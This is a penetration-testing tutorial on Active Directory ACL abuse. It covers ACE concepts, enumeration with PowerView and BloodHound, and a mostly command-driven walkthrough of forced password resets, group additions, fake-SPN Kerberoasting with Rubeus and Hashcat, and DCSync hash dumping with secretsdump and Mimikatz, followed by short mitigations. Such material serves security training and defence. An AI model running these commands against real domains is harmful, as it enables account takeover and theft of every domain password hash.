ACL Abuse - Access Control List Abuse
This section will cover Access Control List (ACL) abuse.
Table of Contents
- Overview
- Access Control Entries
- Enumeration
- PowerView
- BloodHound
- Exploitation
- Kerberoasting
- DCSync
- Mitigations
Overview
Access Control Lists (ACLs) allows an administrator to control the permissions for different users to access resources. ACLs are lists that define who has access to a specified asset/resource and the level of access they are granted.
The settings themselves in an ACL are called Access Control Entries (ACEs). ACEs are rules within an ACL that define what a user can or cannot access or do on the specific resource.
There are two types of ACLs - Discretionary Access Control List (DACL) and System Access Control Lists (SACL).
Discretionary Access Control List:
DACLs defines which security principals are granted or denied access to an object. DACLs are made of ACEs that either allow or deny access. When a user is attempting to access an object, the system will check the DACL for the level of access permitted.
If a DACL does not exist for an object, all users that attempt to access the object are granted full rights. However if a DACL exists, but does not have any ACE specifying any specific security setting, the system will deny access to all users, groups, or processes attempting to access it.
System Access Control List:
SACL allows administrators to log access attempts made to secure objects.
Access Control Entries
ACLs contain ACE entries that name a user or group and the level of access they have over the securable object. There are three main types of ACEs that can be applied in an AD environment.
| ACE | Description |
|---|---|
| Access denied ACE | Used within a DACL to show that a user or group is explicitly denied access to an object. |
| Access allowed ACE | Used within a DACL to show that a user or group is explicitly granted access to an object. |
| System audit ACE | Used within a SACL to generate audit logs when a user or group attempts to access an object. It records if the access was granted or not and the type of access occurred. |
Each ACE consists of four components:
- The security identifier (SID) of the user/group that has access to the object (principal name).
- A flag denoting the type of ACE (access denied, allowed, or system audit).
- A set of flags that specify whether or not child containers/objects can inherit the given ACE entry from the primary or parent object.
- An access mask which is a 32-bit value that defines the rights granted to an object.
Enumeration
We can use tools such as PowerView and BloodHound to enumerate ACLs.
PowerView
Find-InterestingDomainAcl
We can enumerate ACLs using a specific user. To do this, we will need the SID of the target user to search effectively.
$sid = Convert-NameToSid <username>
We can use the Get-DomainObjectACL command to perform the search.
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
The above command will search all domain objects our user has rights over by mapping the user's SID using the $sid variable set earlier to the SecurityIdentifier property which tells us who has the given right over an object.

Without the ResolveGUIDs flag, we will be given results where the ActiveDirectoryRights does not give us a clear picture of what ACE entry does the user have. This is because the ObjectAceType property is returning a GUID value that is not human readable.
We can set the GUID value as a variable and perform a search or use Google.
$guid= "<value>"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingCOntext)" -Filter {ObjectClass -like 'ControlAccessRights'} -Property * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl
The above command will return the answer but will be highly inefficient during an engagement. We can use the -ResolveGUIDs flag in PowerView to do this.
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

We can create a list of domain users and save it to a file using the following command.
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > <output file>
Once we have a list of usernames, we can use a foreach loop with the Get-Acl cmdlet to retrieve ACL information for each domain user found in the <output file>.
foreach($line in [System.IO.File]::ReadLines("C:\path\to\list")) {get-acl "AD:\$(Get-ADUser $line)" | Where-Object {$_.SecurityReference -match '<domain>\\<username>'}}
An example:
foreach($line in [System.IO.File]::ReadLines("C:\users\superuser\names.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Where-Object {$_.SecurityReference -match 'mycorp\superuser'}}
We can repeat the steps for each user that is interesting to us to gather information.
If we have discovered a group, we can use the following command to check if it is nested in other groups.
Get-DomainGroup -Identity "<group name>" | select memberof
We can use the following to investigate the ACL of a group.
$groupsid = Convert-NameToSid "<group name>"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $groupsid} - Verbose
BloodHound
Once we have gathered the data using tools such as SharpHound, we can navigate to Node Info on the left and scroll down to Outbound Control Rights. This will show us objects we have control over directly, via group membership, and the number of objects that our user could lead us to controlling via ACL attack paths under Transitive Object Control.
Exploitation
Depending on our results, there are many different ways to exploit ACLs.
This section will cover the following:
- Kerberoasting
- DCSync
Kerberoasting
Assuming we have found an account where we have the abilities to change the user password and the target user has GenericAll rights to a group, we can perform Kerberoasting.
To make it easier to follow, this section will assume the user myuser as the user that can change the password of the target user dobread. The domain will be mycorp.lan. The target group will be super group 22. The admin user will be myadmin in the super group 22.
To start, we will need to authenticate as the target user if we haven't. This section will assume that we have the ability to change the target user password.
$SecPassword = ConvertTo-SecureString '<attacker password>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<domain>\<attacker user>', $SecPassword)
The <attacker user> will be the account username that has the ability to change the password of the target user.
An example:
$SecPassword = ConvertTo-SecureString 'password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('mycorp\myuser', $SecPassword)
Next, create a PSCredential Object which will represent the password we want to set for our target user.
$targetUserPassword = ConvertTo-SecureString '<password>' -AsPlainText -Force
Next, we can create a SecureString Object using the Set-DomainuserPassword function in PowerView to change the target user password. We will need to use the -Credential flag with the credential object
Set-DomainUserPassword -Identity <target username> -AccountPassword $targetUserPassword -Credential $Cred -Verbose
The <target username> will be the username of the target user. We can also do this from a Linux attack machine using tools such as pth-net, which is part of the pth-toolkit.
An example:
Set-DomainUserPassword -Identity dobread -AccountPassword $targetUserPassword -Credential $Cred -Verbose
Once successful, we will need to perform a similar process for our target user to add it to a group.
$SecPassword = ConvertTo-SecureString '<target password>' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('<domain>\,target user>', $SecPassword)
To add the target user to the group, we can use the Add-DomainGroupMember function. We can use the following command to confirm that the target user is not in the target group. This can also be done on Linux using the pth-toolkit.
Get-ADGroup -Identity "<target group>" -Properties * | Select -ExpandProperty Members
To add the user, we can use the following command.
Add-DomainGroupMember -Identity '<target group>' -Members '<target user>' -Credential $Cred2 -Verbose
An example:
Add-DomainGroupMember -Identity 'super group 22' -Members 'dobread' -Credential $Cred2 -Verbose
To confirm the target user has been added, we can use the following command.
Get-DomainGroupMember -Identity "<target group>" | Select MemberName
As we have GenericAll rights over the group and have the ability to take over an admin account, we can create a fake SPN to Kerberoast.
Set-DomainObject -Credential $Cred2 -Identity '<target username 2>' -SET @{serviceprincipalname='<name>/<name>'} -Verbose
The <target username 2> will be the username of the admin account. The <name> does not have to be a specified value.
An example:
Set-DomainObject -Credential $Cred2 -Identity 'myadmin' -SET @{serviceprincipalname='fake/ticket'} -Verbose

Once created, we can use Rubeus to Kerberoast.
.\rubeus.exe kerberoast /user:<target username 2> /nowrap

Once we have the hash, we can crack it using tools such as Hashcat.
hashcat -m 13100 <hash file> /path/to/wordlist/here
DCSync
DCSync is a technique used for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol. The protocol is used by domain controllers to replicate domain data.
An attacker is able to mimic a domain controller to retrieve NTLM password hashes for users.
The way this works is where a domain controller is requesting to replicate passwords via the DS-Replication-Get-Changes-All extended right. This extended right access control within an AD allows for the replication of secret data.
To perform this attack, we will need to have control over an account that has rights to perform domain replication. Domain/Enterprise admins, and default domain administrators have this right by default.
We can use the following command to view the permissions of our target user.
Get-Domainuser -Identity <username> | select samaccountname,objectid,memberof,useraccountcontrol | fl
If we have certain rights such as WriteDacl over the user, we can add the privilege to the target user under our control and perform the DCSync attack.
We can use the following command to check the user's replication rights.
$sid = "<sid>"
Get-objectAcl "DC=<second level domain>,DC=<top level domain>" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ? {$_.SecurityIdentifier -match $sid} | select AceQualifier,ObjectDN,ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

If we are attacking from a Linux machine, we can use the impaacket-secretsdump to extract the NTLM hashes.
impacket-secretsdump <domain>/<username>@<Target IP> -outputfile <output file> -just-dc
Command breakdown:
<domain>- Specify the target domain.<username>- Specify the username to use for authentication.<Target IP>- Specify the target IP address.-outputfile <output file>- Specify the file to output the results to.-just-dc- Only extract NTLM hashes and Kerberos keys from the NTDS file.

Alternatively, we can use -just-dc-ntlm to extract only the NTLM hashes or -just-dc-user <username> to extract for a specific user.
We can also use the following command to check if the user has the Store password using revisible encryption option enabled. This means that the encryption will be type 23 (RC4) and we can decrypt them using the key stored in the registry (the syskey) and can be extracted by a domain admin or equivalent.
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

We can also use PowerView to check it.
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol
If we are on Windows, we can use Mimikatz to extract the hashes. On cmd.exe, use the following command.
runas /netonly /user:<domain>\<username> powershell
On PowerShell, start Mimikatz and use the following.
privilege::debug
lsadump::dcsync /domain:<full domain> /user:<domain>\<username>

We can obtain the cleartext password if the account has the Store password using reversible encryption attribute set and the NTLM hash of the password which can be cracked offline.
Mitigations
Ensure that regular audits are done and remove any dangerous ACLs.
It is recommended to also monitor group memberships and have alerting set for any high-impact groups.
To mitigate DCSync, ensure that accounts do not require the DCSync permission have it removed.
It is recommended to enforce the principal of least privilege within the Active Directory environment especially for accounts that require high privilege levels.
References:
- https://www.sentinelone.com/cybersecurity-101/what-is-the-principle-of-least-privilege-polp/
- https://www.sentinelone.com/blog/active-directory-dcsync-attacks/
- https://www.netwrix.com/privilege_escalation_using_unquomimikatz_dcsync.html
- https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-non-admin-accounts-dcsync